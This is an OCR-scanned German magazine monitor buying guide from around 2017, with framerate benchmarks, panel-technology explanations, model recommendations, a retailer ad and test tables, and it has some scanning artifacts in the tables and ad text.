mit HDR10-Standard ankündigte, 
das Mitte des Jahres auf den Markt 
kommen soll. Mittlerweile haben 
mehrere Hersteller verlauten las- 
sen - manche offiziell, manche 
inoffiziell -, dass HDR-Modelle 
noch dieses Jahr kommen sollen. 
Dabei handelt es sich meist um 
Monitore für Grafiker, also solche 
mit hoher Farbraumabdeckung, 
aber mit 60 Hz. Anfang des Jahres 
wurde Freesync 2 und G-Sync HDR 
angekündigt. Damit soll die HDR- 
Wiedergabe mit niedriger Latenz 
möglich werden. Bislang sind nur 
zwei Monitore mit G-Sync HDR 
angekündigt. Ein exklusives Pa- 
nel damit soll außerdem eine 4K/ 
UHD-Auflósung mit 144 Hz bieten. 
Die Eier legende Wollmilchsau soll 
noch dieses Jahr erscheinen und 
läppische 2.000 Euro kosten. 


Frameraten beliebter Auflösungen 


Grand Theft Auto V, „Grapeseed“, max. Details 
3.840 x 2.160 (UHD) & GTX 1070 ВІ 20,3 (-61 96) 
2.560 x 1.440 (WQHD) & GTX 1070 [38] 38,0 (-28 96) 
1.920 x 1.080 (Full HD)& GTX 1070 EZB] 52,6 (Basis) 


3.840 x 2.160 (UHD) & RX 480 Hl] 12,8 (-63 96) 
2.560 x 1.440 (МОНО) & RX 480 [221] 24,7 (-29 %) 
1.920 х 1.080 (Full HD) & RX 480 [321] 34,7 (Basis) 
The Witcher 3, „Boat Trip", max. Details 
3.840 x 2.160 (UHD) & GTX 1070 ВЕ 9] 31,3 (-64 96) 
2.560 x 1.440 (МОНО) & GTX 1070 eer 58,7 (-33 96) 
1.920 x 1.080 (Full HD)& GTX 1070 ga! 87,0 (Basis) 


3.840 x 2.160 (UHD) & RX 480 är 21,9 (-64 96) 
2.560 x 1.440 (WQHD) & RX 480 a 41,1 (-32 96) 
1.920 x 1.080 (Full HD) & RX 480 558/1602 (Basis) 


Overwatch, , Dorado", max. Details 


3.840 x 2.160 (UHD) & GTX 1070 Loge 50,0 (-65 96) 


2.560 x 1.440 (МОНО) & GTX 1070 Ko ШЇ 94,9 ( -33 %) 


1.920 x 1.080 (Full HD)& GTX 1070 agn 141,2 (Basis) 


3.840 x 2.160 (UHD) & RX 480 ШЗ 34,9 (-60 96) 
2.560 х 1.440 (WQHD) & RX 480 ea 68,5 (-21 96) 


1.920 x 1.080 (Full HD) & RX 480 ga 102,2 (Basis) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB 
Corsair DDR4-3000 (17); Windows 10 x64 (1607), : 372.70, RS: 16.11.4/16.12.1/17.4.1 
Bemerkungen: Selbst eine GTX 1070 ist für UHD oft noch zu schwach. 


Mimil @ Fps 


» Besser 
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Das magische Dreieck der 
Monitor-Kaufberatung 

Die multidimensionalen Möglich- 
keiten der Monitor-Merkmale ma- 
chen eine einfache Kaufberatung 
eigentlich unmöglich. Zu vielfältig 
sind Ansprüche oder Geschmäcker. 
Mit dem folgenden Schema möch- 
ten wir Ihnen dennoch eine grobe 
Orientierung durch den Display- 
Dschungel geben. Dazu haben wir 
die Ansprüche an einen Monitor in 
drei groben Merkmalen zusammen- 
gefasst: schön, schnell und günstig. 
Wir haben die Beziehung der drei 
deshalb magisches Dreieck getauft, 


weil immer zwei zusammen mög- 
lich sind und das dritte ausschlie- 
ßen. Es gibt also beispielsweise 
Monitore, die günstig und schnell 
sind, dafür nicht schön. Da an die- 
ser Stelle viele versierte Leser ganz 
laut „aber“ schreien möchten, sei 
schon jetzt auf den Disclaimer hin- 
gewiesen: Natürlich ist dieses Mo- 
dell ein stark vereinfachtes Korsett, 
das über die Monitor-Landschaft 
gestülpt wird. So mancher Moni- 
tor lässt sich außerdem nicht so 
einfach auf eine der Ecken oder 
Kanten des Modells verorten. Ein 
günstiges und schnelles TN-Panel 


ist etwa immer schneller als ein 
schönes und schnelles IPS-Panel. 
Nun könnte man aus diesen drei Ei- 
genschaften eine dreidimensionale 
Matrix stricken und Abstufungen 
in den Eigenschaften vornehmen. 
Dadurch würde aber die Übersicht 
verloren gehen, weswegen wir uns 
für eindeutige, aber vereinfachte 
Schubladen entschieden haben. 


Schön: Mehr als viele Farben 
Mit „schön“ ist nicht etwa der ex- 
travagante Standfuß oder der silber 
glänzende Rahmen gemeint, son- 
dern die Bildqualität des Panels. 


Ein schönes Display ist nicht nur ei- 
nes mit hoher Farbraumabdeckung 
oder Kontrast, sondern etwa auch 
eines mit hoher Pixeldichte, also 
eine hohe Auflösung auf nicht zu 
großer Bildfläche. Über die rich- 
tige Pixeldichte klären die zwei 
Extrakästen auf der übernächsten 
Seite ausführlich auf. Nun gibt es 
natürlich mehrere Versionen von 
„schön“. Ein Gamer möchte ein 
flüssiges Bewegtbild sehen. Daher 
ist eine geringe Reaktionszeit für 
schlierenfreie Bewegungen erfor- 
derlich. Eine hohe Farbraumab- 
deckung ist ihm egal, da (noch) 


Günstig & schön 


nicht unbedingt in die Höhe. 


Schön 


Eine gute Bildqualität muss nicht teuer 
sein. IPS-Monitore gibt es schon für 
unter 200 Euro. Wer eher genügsame 
Strategiespiele zockt, kommt mit 60 

Hz und leicht erhöhten Reaktions- 
zeiten durchaus klar. Auch eine höhere 
Auflösung, etwa WQHD, treibt den Preis 


Grafiker oder Fotografen brauchen die beste Bildqua- 
lität mit hoher Farbraumabdeckung. Auch für Gamer, 


Günstig 


Ab 21 Zoll Bilddiagonale und unter 100 Euro geht 
es los bei LCD-Monitoren. Irgendwelche Ansprüche 


an eine Bildqualität, 
Auflösung oder Reak- 
tionszeit dürfen aber 
nicht gestellt werden. 
Wir testen Monitore 
daher erst ab 24 Zoll 
und Full HD. 


die auf ein kontrastrei- 


ches und pixeldichtes 
Bild Wert legen, ist 
ein langsame(re)s 

IPS- oder VA-Panel mit 
hoher Auflösung die 
bessere Wahl. 


Schön & schnell 

Wer ein qualitativ gutes IPS- oder 
VA-Display sucht und gleichzeitig nicht 
allzu schlechte Reaktionszeiten oder 


Günstig & schnell 

TN-Panels sind relativ günstig herzu- 
stellen. Eine gute Reaktionszeit oder 
eine Bildwiederholrate mit 144 Hz gibt 
es schon bei Monitoren im Einsteiger- 
segment um circa 250 Euro. Bei diesen 
beiden Merkmalen müssten Abstriche in 
der Bildqualität hingenommen werden, 
denn hochfrequente IPS sind teuer. 


Schnell 


TN-Panels kommen an die Bildqualität von IPS oder 
VA nicht heran, dafür ist aber die Reaktionszeit 


eine hohe Bildwiederholrate verlangt, 
muss umso tiefer in die Tasche greifen. 
Da es noch immer keine OLED-Monitore 
gibt, ist diese Nische noch immer ein 
teurer und großer Kompromiss. 


unerreicht niedrig. 
Wer auch die letzten 
Millisekunden he- 
rausschlagen möchte, 
kommt daher an 
einem hochfrequenten 
TN-Panel nicht vorbei. 
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ALTERNATE empfiehlt Windows Geräte 


ЖЕТ 


00K CGN m L A: 
E f Dt 


TARDWARE: E. "EAUDI 
ALTERNÄTE @ 
Jubiläums PC 


Windows 10 


NVIDIA 


ALTERNATE Jubiläums PC Rev. 2 GEFORCE’ 

Der ALTERNATE JUBILÄUMS-PC Rev.2 W10H kommt mit einem Intel® Core™ i7-7700K 

Prozessor (4,2 GHz) Prozessor und 16 GB DDR4-Arbeitsspeicher. Die NVIDIA GeForce GTX 
1070-Grafikkarte sowie der Gigabit-Anschluss ermöglichen einen vielseitigen Einsatz. Die wei- 
tere Ausstattung mit einem DVD-Brenner, einer 275-GB-SSD sowie einer 2-TB-SATA-Festplatte, 
Sound und dem Microsoft-Betriebssystem Windows 10 Home 64-Bit lässt beim ALTERNATE 


JUBILÄUMS-PC Rev.2 W10H kaum Wünsche offen. 


* Windows 10 Home 64-Bit (OEM) 
* Intel® Core™ i7-7700K Prozessor (4,2 GHz) 


Um die aktuellen PC-Spiele mit nur einem Klick, optimiert und in Ihrer vollen Pracht genießen “ЛА Сево GTX 1070 
» haben wir für Dich NVIDIA GeForce Experi installiert. Teile Dei + 16 GB DDRA-RAM 
zu kónnen, haben wir für Dic eForce Experience vorinstalliert. Teile Deine os D doo 
schónsten Gaming-Momente. + DVD-Brenner | Gigabit-LAN 
S7IXBL 


Abgabe nur in haushaltsüblichen Mengen und solange Vorrat reicht. Irrtümer und Druckfehler vorbehalten. Alle Preise in Euro inkl. MwSt. und zuzüglich Versandkosten. Angebote gültig bis zum 21.06.2017 


06403-905040 5B ALTERNATE 


JAHRE bequem online 


ALTERNATE GmbH | Philipp-Reis-Straße 2-3 | 35440 Linden | Fon: 06403-905040 | info@alternate.de 
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Günstig: Benq Zowie RL2455 


Monitore unter einer Full-HD-Auflósung sind 
nicht mehr zu empfehlen, daher definieren 
wir das untere Ende nicht bei den noch immer 
erhältlichen 21-Zoll-Geräten mit niedrigerer 
Auflösung. Ab circa Hundert Euro gibt es die 
ersten Full-HD-Modelle. Aber erst mit 170 
Euro, wie etwa hier beim Zowie RL2455 kann 
man von einem Gaming-Monitor sprechen. 
Denn die Reaktionszeiten und der Input Lag 
des TN-Panels sind recht gering, sodass er 
ebenso als Empfehlung der Sparte , günstig 
und schnell" durchgehen kónnte. Alle anderen 
Merkmale sind bestenfalls standardmäßig: Die 
6 Bit an Farbtiefe oder die feste Bildwieder- 
holrate über 60 Hz. 144 Hz und Freesync sind 
nicht viel teurer und für so manchen Gamer 
den recht geringen Aufpreis wert. 


2ОШІЕ 


a brand by Вепа 


Schon: Samsung C34F791WQU (ab 950 Euro) 


влмзино Curved Monitor 
Quantum dot'display 


Schnell: Asus ROG Swift PG258Q 


Ein Full-HD-Monitor für 600 Euro? Diese 
Nische an Modellen findet noch immer 
Aufreger in zahlreichen Forenkommentaren. 
Natürlich gibt es ein 24-Zoll-Monitor mit 
TN-Panel in Full HD, noch zudem mit nur 6 Bit 
an Farbtiefe, für nicht einmal die Hàlfte. Hier 
beim PG258Q sind es andere Ausstattungs- 
merkmale, die den Preis rechtfertigen: Die 
aktuell maximal mögliche Bildwiederholrate 
über 240 Hz, die dank G-Sync ab 30 Hz auch 
dynamisch ist. Während ein 60-Hz-Panel nur 
alle 16 ms ein Bild anzeigt, sind es bei 240 
Hz schon 4 ms. Der Asus-Monitor ist knallhart 
auf maximale Geschwindigkeit getrimmt 

und daher ein Nischenprodukt für schnelle 
Multiplayer-Shooter. Wer ein hübsches Bild 
angezeigt haben möchte, ist hier falsch. 


v 


REPUBLIC UF 
GAMERS 
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Nun kann unter der Kategorie „schön” viel 


verstanden werden. Anstatt nun ein teures 


Modell für Nischenansprüche, etwa die eines 
Grafikers, zu empfehlen, stellen wir einen 
Bildschirm für Privatanwender vor. Hier ist 
nicht nur eine gute Bildqualität wichtig, die 
das gekrümmte VA-Panel mit Quantum-Dot- 
Schicht mit seinem hohen Kontrast auch bie- 


Diagonale über 34 Zoll, die Gehäuseoptik 
und das breite 21:9-Format machen nicht nur 
das Bild, sondern den ganzen Monitor schön. 
it der guten Bildqualität müssen Abstriche 
in der Bildwiederholrate (nur 60 Hz) und der 
Reaktionszeit hingenommen werden. Der 
onitor kommt daher eher in Strategie- oder 
Rennspielen zur Geltung. 


=» 


h 
i 
` 


et. Auch die hohe 1440p-Auflösung auf einer 


feinere Farbverläufe auf dem Mo- 
nitor nicht unbedingt ein besseres 
Bild liefern. Eine Farbtiefe von 8 
Bit bedeutet 16,7 Mio. Farben, die 
für Gamer und Otto Normalnutzer 
ausreichend sind. Noch dieses Jahr 
kommen die ersten HDR-Monitore 
mit bis zu 64 Mal mehr Farben 
(10 Bit), jedoch werden diese Mo- 
delle gut vierstellig kosten. Es gibt 
zwar schon Inhalte, also PC-Spiele 
oder Filme, die dieses Potenzial 
ausschöpfen. Was die Geräte aber 
wirklich leisten und ob sie die In- 
vestition fast auf Kleinwagenni- 
veau wert ist, kann erst beurteilt 
werden, wenn sie auf dem Markt 
sind. Mehr Farben, also 10 Bit oder 
gar mehr, brauchen aktuell nur Gra- 
fiker oder Bildbearbeiter, denen es 
wichtig ist, dass etwa ein Foto auf 
dem Bildschirm möglichst genauso 
aussieht wie auf dem Ausdruck. Ih- 
nen hingegen ist die Reaktionszeit 
egal, da in Photoshop keine schnel- 
len Bildwechsel passieren. Kurz- 
um: Auch wenn Grafiker-Panels 
die beste Bildqualität liefern, ist 
„schön“ für einen Gamer mehr als 
nur Farbraumabdeckung. 


Günstig: Nicht das Billigste 

Ein Monitor ist ab etwa 70 Euro und 
18,5 Zoll zu haben. Diese Modelle 
verfügen aber über die Vorkriegs- 
auflösung 1.366 x 768 Pixel und 
über recht magere Kontrast. und 
Helligkeitswerte. Von der untersten 
Preisklasse kann bestenfalls erwar- 
tet werden, ein Bild angezeigt zu 
bekommen. Wir raten von Moni- 
toren mit zweistelligem Preis ab, 
da man für einen relativ geringen 
Aufpreis deutlich bessere, grófsere 
und hóherauflósendere Displays 
bekommt. Ab circa 120 Euro sind 
schon 24-Zóller mit zeitgemäßer 
Ful-HD-Auflósung erhältlich, die 
mit einer geringen Reaktionszeit ab 
(mindestens) 1 ms auch noch recht 
schnell sind. Dafür ist die Bildqua- 
lität und Blickwinkelstabilität der 
TN-Panels bestenfalls mittelmäßig. 
In derselben Preisklasse tummeln 
sich aber auch IPS-Displays, die 
blickwinkelstabiler sind und oft 
eine bessere Bildqualität haben. Da- 
für ist auch das schönste IPS-Panel 
nicht so reaktionsstark - hier wird 
der Grau-zu-grau-Wechsel ab 5 ms 
angegeben. Wer nicht viel Geld aus- 
geben möchte, hat aber hier schon 
die ersten beiden Alternativen, 
also ob der günstige Monitor eher 
schnell oder eher schön sein soll. 
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Aktuelle Bildschirmgrößen im Vergleich 


Die beliebtesten Bildschirmgrößen sind 24 und 27 Zoll im 16:9-Format. Wohl weil hier am meisten Bild für das 
Geld geboten wird. Das 21:9-Format wird außerdem immer populärer. 16:10 ist eine vernachlässigbare Nische 
für wenige Business-Monitore. 


Größere Monitore sind bei ansonsten gleicher Ausstattung immer teurer. Die reine Bildfläche beeinflusst den Monitorpreis aber 
relativ wenig. Vielmehr sind es Bildqualität, Bildwiederholrate und die Ausstattung drumherum, die oft den Preis hochtreiben. 
Ein großes 32-Zoll-Display im 16:9-Format ist nicht unbedingt (viel) teurer als 24- oder 27-Zöller. Die abgebildeten 34 Zoll sind 
wegen dem weniger verbreiteten 21:9-Ultrawide-Format und der meist höheren 1440p-Auflösung deutlich teurer. Wer dann 
noch eine hohe Bildwiederholrate, etwa 144 Hz, und eine Krümmung des Displays wünscht, muss umso mehr hinblättern. 


24 Zoll: Breite 53,13 cm/Höhe 29,88 cm 


30 Zoll: Breite 64,61 cm/Höhe 40,38 cm 


Aktuelle Bildschirmauflösungen im Vergleich 


Im mit großem Abstand am weitesten verbreiteten 16:9-Format gibt es nahezu jede erdenkliche Kombination 
aus Bildfläche und Auflösung. Nicht jede angebotene Option ist aber sinnvoll. 


Auf die richtige Pixeldichte kommt es an: Bei einer Diagonale über 24 Zoll ist eine AK/UHD-Auflösung verschenktes Grafikkarten- 
potenzial. Ein Viertel der Pixel, also Full HD, ist eine noch immer ausreichende Dichte bei der Größe. Ab 27 Zoll werden bei Full 
HD die Pixelabstände schon sichtbar. Ab 32 Zoll und dieser Auflösung (ja, das gibt es wirklich!) dürfte nur Tetris gestochen scharf 
dargestellt werden können, um es mal polemisch zu sagen. Außerdem muss die Leistung der eigenen Grafikkarte berücksichtigt 
werden. Da für mehr als Full HD meist eine teure GPU benötigt wird, ist 1080p noch immer die beliebteste Auflösung. 


UW-UXGA 
(2.560 x 1.080) 


WUXGA (1.920 x 1.200) WQHD 
(2.560 x 1.440) 


UWQHD 
(3.440 x 1.440) 
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Schnell: Hohe Frequenz, 
niedrige Latenz 

TN an sich ist zwar nach wie vor 
in Verruf für hässliche Billigmo- 
delle, jedoch ist die Qualität der 
günstigen und reaktionsschnellen 
Display-Technik in den letzten Jah- 
ren etwas besser geworden. Das 
haben unsere Monitortests bewie- 
sen: Sofern es sich nicht unbedingt 
Modelle aus der eben beschrie- 
benen unteren Preiskampfklasse 
handelt, sind Helligkeit, Kontrast 
und Schwarzwert oft nicht schlech- 
ter als bei IPS-Panels. Auch hier 
ist mittlerweile ein Kontrast über 
1.000:1 möglich und der Schwarz- 
wert liegt bei vielen Modellen weit 
unter den kritischen 1 cd/m?. TN 
ist daher kein Indiz mehr für einen 
Billigheimer und auch in guten 
Mittelklasse-Modellen zu finden, 
die klar auf Schnelligkeit getrimmt 
sind - und zwar nicht nur, was In- 
put Lag und Reaktionszeit betrifft. 
Bei IPS ist spätestens mit 165 Hz 
Schluss. Natürlich ist das schon 
eine recht hohe Frequenz. Mit TN 
gibt es aber noch mehr Bilder, näm- 
lich bis zu 240 pro Sekunde. Außer- 
dem sind hochfrequente IPS-Panels 
viel teurer als ein guter und schnel- 
ler TN-Monitor. 


Der einzige wirkliche Pferdefuß ist 
die Farbtiefe mit „unechten“ 8 Bit. 
Zwar bieten auch TN-Panels bis zu 
16,7 Mio. Farben, die werden aber 
nur mittels sog. Frame Rate Control 
(FRC) erreicht. Die 6 Bit bedeu- 
ten also lediglich 262.144 „echte“ 
Farben, die ein Subpixel-Trio dar- 
stellen kann. Die restlichen 16,5 
Mio. Farben werden per FRC, auch 
„Dithering“ genannt, mit einem 
schnellen Farbwechsel simuliert. 
Ein Farbverlauf wird damit nicht so 
fein dargestellt wie mit echten 16,7 
Mio. Farben. Für Bildbearbeiter ist 
TN daher ein No-Go, für manche 
Gamer hingegen ein hinnehmba- 
rer Kompromiss zugunsten eines 
schnellen und nicht allzu teuren 
Panels. Solange kein OLED-Monitor 
auf dem Markt ist, bleiben „schnell“ 
und „schön“ gewissermaßen un- 
vereinbare Gegensätze. OLED ist 
bislang nur in einigen Notebooks 
verbaut. 


Overdrive: Tausche 
Schlieren für Korona 

Die für Spieler wichtige Kompro- 
missfunktion, ein schickes IPS- 
Panel einigermaßen reaktionsflott 


www.pcgameshardware.de 


Kaufberatung Monitore | INFRASTRUKTUR 


BRONZE 


zu bekommen, nennt sich „Over- 
drive“. Mit diesem Zauberwort ist 
eine hóhere Spannung gemeint, die 
an die trägen Flüssigkristalle ange- 
legt wird, damit sie sich schneller 
drehen - die Farben bzw. die Bilder 
also einige Millisekunden schneller 
wechseln. Die Funktion ist in der 
Monitorlandschaft mittlerweile 
flächendeckend vorhanden, auch 
bei an sich schon schnellen TN- 
Modellen, und ist im Monitor-Menü 
oft unter „Reaktionszeit“ oder einer 
anderen Bezeichnung zu finden. 
Sie ist meist mehrstufig wählbar, 
denn bei höchster Stufe schießen 
die Pixel über das Ziel derart hin- 
aus, dass die Farbe erst nach einem 
kurzen Überschwinger erreicht 
wird. Statt Schlieren sieht der Nut- 
zer bei Objekten in Bewegung nun 
einen hellen Schatten um die Kan- 
ten - den sogenannten Korona-Ef- 
fekt. Je nach Modell und Overdrive- 
Stufe fällt dieser unterschiedlich 
stark aus. 


Unserer Erfahrung nach ist eine 
mittlere Stufe in den allermeisten 
Fällen der beste Kompromiss. Da 
in Spielen Standbilder nur selten 
vorkommen, sollte etwas Zeit zum 
Herumprobieren für die richtige 
Overdrive-Stufe investiert werden, 
was die (Bewegt-)Bildqualität et- 
was verbessern kann. Zur Einstel- 
lung empfiehlt sich der „Ghosting 
Test“ der Website www.testufo. 
com. Wer die Overdrive-Stufen 
wechselt, kann den Schweif bzw. 
den Korona-Schatten am Ufo gut 
erkennen. (mc) 


Wählen Sie Ihren Kompromiss 
Schön, schnell und günstig: zwei der 
drei Eigenschaften eines Monitors sind 
móglich. Der Rest der Ausstattung ist 
recht individuell. Soll es etwa ein Ultra- 
wide-Format sein? Reicht Ihnen Full 
HD bzw. 1080p? Móchten Sie Freesync 
oder G-Sync? Auf den folgenden zwei 
Seiten ist sicherlich das richtige Modell 
für Sie dabei. 


Relativ günstig und schón, aber nicht unbedingt 
schnell ist etwa der liyama XB2783HSU-B1. Mit Full 
HD auf 27 Zoll ist die Pixeldichte zwar nur durch- 
schnittlich, dafür ist die SRGB-Farbraumabdeckung 
mit ca. 94 Prozent sowie der Kontrast mit 3000:1 (It. 
Hersteller) für einen günstigen Monitor überdurch- 
schnittlich gut. Diese Bildqualitát macht ihn zu einem 
guten Einsteigermodell für die Bildbearbeitung. Die 
Bildwiederholrate beträgt zwar nur standardmäßige 
60 Hz, dafür ist die Reaktionszeit mit angegebenen 4 
ms durchaus spieletauglich. Das aktuelle Preis-Leis- 
tungs-Verhältnis des liyama-Monitors ist deswegen 
sehr gut. In dieser Preisregion dürften nur wenige 
Modelle in der Bildqualität mithalten können. 


Wer sich monatelang die High-End-Grafikkarte vom 
Munde abgespart hat, um hohe Frameraten bei voller 
Texturpracht genießen zu können, braucht einen 
entsprechenden Oberklasse-Monitor, der mit seiner 
Bildqualität die Texturfeinheit wiedergeben kann. 
Gleichzeitig müssen Bildwiederholrate und Reakti- 
onszeit für einen schnellen Bildwechsel sorgen. Ein 


TN-Panel ist hier zwar technisch bedingt immer besser, 


jedoch ist die Bildqualität auch stets limitiert. Das 
VA-Display des Acer 735 löst mit 1440p im 21:9 For- 


mat auf, bietet einen guten Kontrast über 3.000:1 und 


verfügt über eine G-Sync-Range von 30 bis 144 Hz. 
Zudem lässt sich der Monitor auf 200 Hz übertakten. 
„Schön und schnell" kostet aber dementsprechend, 
hier fast 1.000 Euro. 


Es ist mehr die hohe Bildwiederholrate als die hohe 
Auflósung, die einen Monitor teurer macht. Ein 
schnelles TN-Panel mit Full-HD-Auflósung und 144 
Hz fángt bei circa 250 Euro an, wie etwa auch der 
AOC G2460PF. Mittels Freesync wird die Bildwieder- 
holrate zwischen 30 Hz und 144 Hz angepasst, was 
ihn ideal für Einstiegsgamer in Kombination mit einer 
Radeon-Grafikkarte macht. Nun ist Freesync schon bei 
günstigeren Modellen verbreitet, oft ist das Intervall 
der dynamischen Bildwiederholrate aber unbrauchbar 
schmal. Auch in der 240-Hz-Region darüber ist der 
Aufpreis oft gróBer als der Nutzen. Ansprüche an 
Bildqualitát dürfen hier bei einer Farbtiefe von 6 Bit 
aber nicht gestellt werden. 
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FULL-HD-MONITORE 


Auszug aus Testtabelle 
mit 25 Wertungskriterien 


Produktname 
Hersteller 


23,5 Zoll 


24 Zoll 


24,5 Zoll 


32 Zoll 


27 Zoll 


C24FG70 


Samsung 


GB2488HSU-B2 


liyama 


ZOWIE XL2540 
Benq 


VG2 
Medion 


VG2 


Asus 


Preis/Preis-Leistungs-Verhàltnis 
PCGH-Preisvergleich 
Ausstattung (20 %) 
Diagonale/Anschlüsse 


Ca. € 350,-/Befriedigend 


Ca. € 285/Befriedigend 


Ca. € 500,-/Mangelhaft 


Ca. € 400,-/Befriedigend 


Ca. € 350/Befriedigend 


www.pcgh.de/preis/1502763 


59,7 cm/2x HDMI, 1x DisplayPort 


www.pcgh.de/preis/1367528 


61,0 cm (24 Zoll)/2x HDMI 1.4, 1x 
Displayport 1.2, 1x DVI-D 


www.pcgh.de/preis/1534083 


62,5 cm/HDMI 2.0 (x2), DP1.2 


www.pcgh.de/preis/1585204 


77,2 cm/ 1x DVI 1x HDMI 1.4, 1x 
Display-Port 1.2 


www.pcgh.de/preis/1336350 


68,6 cm (27 Zoll)/1x HDMI 1.4, 1x 
DVI-D, 1x D-Sub 


Max. Auflósung/Pixeldichte 


1.920 x 1.080/93,7 ppi 


1.920 x 1.080/0,277 mm 


1.920 x 1.080/0,3 mm 


1920 x 1080/69,9 ppi 


1.920 x 1.080/0,311 mm 


Panel QLED/VA TN/LED TN/LED VA TN/LED 
Netzteil Extern Intern Intern Intern/Nein Intern 
Gewicht/Maße 5,2 kg/ 5,60 kg/56,8 x 38,8 x 23,0 cm 7,5 kgí57 x 52 x 23 cm 7,1172 x 51 x 24 cm 8 kg/64,3 x 43,8 x 25 cm 


Pivot 90Grad/neigbar/hóhenverstellbar 


Ja/-5°,15°/14 cm 


Ja/-5°,15°/13 cm 


Ja/30°/155 mm 


Nein/-5°,15°/Nein 


Ja/-5°,15°/100 mm 


Garantie 


2 Jahre Pickup & Return 


3 Jahre 


2 Jahre Pickup & Return 


2 Jahre 


3 Jahre 


Sonstiges/Zubehör Quantum-Dot-Display, Pivot-Funk- — | Lautsprecher, USB-Hub, Pivot-Funk- |USB-3.0-Hub, drehbarer Standfuß, |Gebogenes Display Lautsprecher, Kopfhöreranschluss 

tion, 1800R gebogen, Kopfhörer- tion, Kopfhöreranschluss Kopfhörerausgang, Mikrofonein- 

ausgang, gang, Fokusblende, Headset-Aufhän- 

gung, Schutzhülle 

Eigenschaften (20 %) 2,24 2,24 2,37 2,34 2,23 
Betrachtungswinkel horizontal/vertikal |170/160° 170/160° 170/160° 170/160° 170/160° 
Bildwiederholrate/VRR 70-144 Hz/Freesync 144 Hz/Freesync 48-240 Hz/Freesync 30-144 Hz/Freesync 144 Н2/- 
Kontrastverhältnis 2193:1 1060:1 731:1 317221 1190:1 
Мах. Leistungsaufnahme/Stand-by 33,8 Watt/0,3 Watt 36/0,2 Watt 26/- Watt 47/0,4 Watt 35/0,6 Watt 
Leistung (60 %) 1,36 1,65 1,36 1,58 1,57 
Input Lag 24,4 ms 12 ms 14,4 ms 11,1 ms 5 ms (alte Messung) 
Farbbrillanz/Farbechtheit Gut Befriedigend Befriedigend Gut Befriedigend 
Max. Helligkeit 340 cd/m? 354,7 cd/m? 390 cd/m? 281 cd/m? 305 cd/m? 
Helligkeitsabweichungen Bis 12% Bis 12% Bis 10% Bis 10% Bis 11% 


Schlieren-/Korona-Bildung 


Wenig/sichtbar 


FAZIT 


© Gute Bildqualität 
© Flexibler Standfuß 
© Großer Input-Lag 


Wertung: 1,63 


Wenig/keine 


© Exzellente Ergonomie 
© Overdrive ausbalanciert 
© Mäßiger Schwarzwert 


Wertung: 1,69 


Gering/sichtbar 


© Hohe Bildfrequenz 
© Niedrige Verzögerung 
© Geringe Bildqualität 


Wertung: 1,73 


Deutlich/wenig 


© Guter Kontrast 
© Großes gebogenes Display 
© Geringe Pixeldichte 


Wertung: 1,76 


Wenig/wenig 


© Sehr gute Verarbeitung 
© Guter Helligkeitsregelbereich 
© Nur TN-Panel 


Wertung: 1,79 


WQHD-MONITORE 


Auszug aus Testtabelle 
mit 25 Wertungskriterien 


27 Zoll 


27 Zoll 


24 Zoll 


27 Zoll 


27 Zoll 


Ausstattung (20 %) 
Diagonale/Anschlüsse 


68,8 cm/1x HDMI 1.4, 1x Display- 
Port 1.2 


68,6 cm/1x DVI, 2x HDMI, 
1x Display-Port 1.2 


60,5 cm/2x HDMI, 1x Display-Port 


Produktname XG2703-GS MG278Q Agon AG241QX GB2783QSU XG270HU 

Hersteller Viewsonic Asus A0C liyama Acer 
Preis/Preis-Leistungs-Verhàltnis Ca. 850 Euro/Ausreichend Ca. € 500,-/Befriedigend Ca. € 380,-/Befriedigend Ca. € 320,-/Befriedigend Ca. € 340,-/Befriedigend 
PCGH-Preisvergleich www.pcgh.de/preis/1504306 www.pcgh.de/preis/1277261 www.pcgh.de/preis/15 13909 www.pcgh.de/preis/1515062 www.pcgh.de/preis/1474187 


68,6 cm/1x DVI, 1x HDMI, 
1x Display-Port 1.2 


68,6 cm/1x DVI, 1x HDMI, 


1x Display-Port 1.2 


Max. Auflósung/Pixeldichte 


2.560 x 1.440/108 ppi 


2.560 x 1.440/108 ppi 


2.560 x 1.440/122ppi 


2.560 x 1.440/108ppi 


2.560 x 1.440/108ppi 


Panel IPS/LED TN/LED TN/LED TN/LED TN/LED 
Netzteil Extern Intern Extern Intern Extern 
Gewicht/MaBe 7,0 kg/63 x 53 x 25 cm 11,5 kg/63 x 56 x 23 cm 5,5 kgí55 x 49 x 21 cm 6,1 kg/62 x 53 x 23 cm 3,8 kg/61 x 46 x 21 cm 


Pivot 90Grad/neigbar/hóhenverstellbar 


Ja/-5°,20°/10 cm 


Ja/-5°,20°/15 cm 


Ja/-4?,21*/13 cm 


Ja/-5°,15°/13 cm 


Nein/-5°, 15°/Nein 


Garantie 


3 Jahre 


3 Jahre 


3 Jahre 


3 Jahre 


3 Jahre Pickup & Return 


Sonstiges/Zubehör USB-3.0-Hub,2 x 2 Watt Lautspre- — | USB-3.0-Hub,2 x 2 Watt Lautspre- |2 x 2 Watt Lautsprecher, Kopfhörer- | USB-3.0-Hub, drehbarer Standfuß, |2 x 2 Watt Lautsprecher, Kopfhörer- 
cher, Kopfhörerausgang cher, drehbarer Standfuß, Kopfhó- ^ | ausgang, Mikrofoneingang, 4 x USB | Kopfhórerausgang, Mikrofonein- ausgang, Mikrofoneingang 
rerausgang, Mikrofoneingang, Fps — |3.0, Headset-Halterung gang, 2 x 2 Watt Lautsprecher 
Counter, Onscreen Crosshair 
Eigenschaften (20 %) 2,37 2,46 2,29 2,49 2,46 
Betrachtungswinkel horizontal/vertikal |178/178 Grad 170/160 Grad 170/160 Grad 170/160 Grad 170/160 Grad 
Bildwiederholrate/VRR 30-165 Hz/G-Sync 40-144 Hz/Freesync 30-165 Hz/Freesync 55-75 Hz/Freesync 40-70 Hz/Freesync 


Kontrastverhältnis/Schwarzwert 


1118:1/0,3 cd/m? 


649:1/0,6 cd/m? 


901:1/0,5 cd/m? 


777:1/0,5 cd/m? 


832:1/0,5 cd/m? 


Max. Leistungsaufnahme/Stand-by 41 Watt/10,7 Watt 42,4 Watt/0,6 Watt 30,2 Watt/0,4 Watt 40,2 Watt/0,3 Watt 41,5 Watt/0,3 Watt 
Leistung (60 %) 1,29 1,49 1,52 1,69 1,60 

Input Lag 12,1 ms 10,4 ms 10,6 ms 10,2 ms 10,2 (9,8) ms 
Farbabweichungen ( Delta E 2000) ER 44 4,7 7,4 5,3 

Max. Helligkeit 354,7 cd/m? 402,1 cd/m? 427,5 cd/m? 367 cd/m? 374,4 cd/m? 
Helligkeitsabweichungen Bis 12 9o Bis 11% Bis 15 % Bis 8 % Bis 7 96 


